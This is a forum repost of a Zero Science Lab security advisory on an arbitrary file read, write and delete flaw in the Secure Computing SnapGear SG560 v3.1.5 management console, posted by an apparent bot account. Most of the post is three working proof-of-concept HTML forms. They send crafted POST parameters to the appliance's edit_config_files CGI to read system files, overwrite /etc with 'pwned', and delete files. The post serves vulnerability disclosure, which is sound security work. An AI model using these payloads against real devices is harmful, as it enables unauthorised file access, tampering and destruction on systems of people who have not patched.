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Secure Computing SnapGear Management Console SG560 v3.1.5 Arbitrary File Read/Write

Дискусија во форумот 'Ранливости // Експлоити // Закрпи' започната од zeroscience, 4 Јуни 2020.

  1. zeroscience

    zeroscience
    ZSL Bot v4.89.1.00

    635
    514
    31 Мај 2010
    Код:
    Secure Computing SnapGear Management Console SG560 v3.1.5 Arbitrary File Read/Write
    
    
    Vendor: Secure Computing Corp.
    Product web page: http://www.securecomputing.com
    Affected version: 3.1.5u1
    
    Summary: The SG gateway appliance range provides Internet security and
    privacy of communications for small and medium enterprises, and branch
    offices. It simply and securely connects your office to the Internet,
    and with its robust stateful firewall, shields your computers from
    external threats.
    
    Desc: The application allows the currently logged-in user to edit the
    configuration files in the system using the CGI executable 'edit_config_files'
    in /cgi-bin/cgix/. The files that are allowed to be modified (read/write/delete)
    are located in the /etc/config/ directory. An attacker can manipulate
    the POST request parameters to escape from the restricted environment
    by using absolute path and start reading, writing and deleting arbitrary
    files on the system.
    
    Tested on: fnord/1.9
               Apache 1.3.27 (Unix)
               Linux 2.4.31
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2020-5568
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5568.php
    
    
    14.05.2020
    
    --
    
    
    Read:
    -----
    <html>
      <body>
        <form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST">
          <input type="hidden" name=".form" value="choices" />
          <input type="hidden" name=".page" value="select_file" />
          <input type="hidden" name="name$1337" value="/messages" />
          <input type="hidden" name="modify$1337" value="1" />
          <input type="hidden" name=".defaultname" value="newitem" />
          <input type="submit" value="Read" />
        </form>
      </body>
    </html>
    
    
    Write/overwrite/move:
    ---------------------
    <html>
      <body>
        <form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST">
          <input type="hidden" name=".form" value="edit" />
          <input type="hidden" name=".page" value="edit_file" />
          <input type="hidden" name="enabled$0" value="" />
          <input type="hidden" name="name$0" value="/etc" />
          <input type="hidden" name="mode$0" value="" />
          <input type="hidden" name="filename" value="/etc" />
          <input type="hidden" name="filecontents" value="pwned" />
          <input type="hidden" name="finish" value="Finish" />
          <input type="hidden" name=".defaultname" value="finish" />
          <input type="submit" value="Write" />
        </form>
      </body>
    </html>
    
    
    Delete:
    -------
    <html>
      <body>
        <form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST">
          <input type="hidden" name=".form" value="choices" />
          <input type="hidden" name=".page" value="select_file" />
          <input type="hidden" name="name$251" value="" />
          <input type="hidden" name="delete$251" value="1" />
          <input type="hidden" name=".defaultname" value="newitem" />
          <input type="submit" value="Delete" />
        </form>
      </body>
    </html>
    
    Zero Science Lab » Secure Computing SnapGear Management Console SG560 v3.1.5 Arbitrary File Read/Write
     

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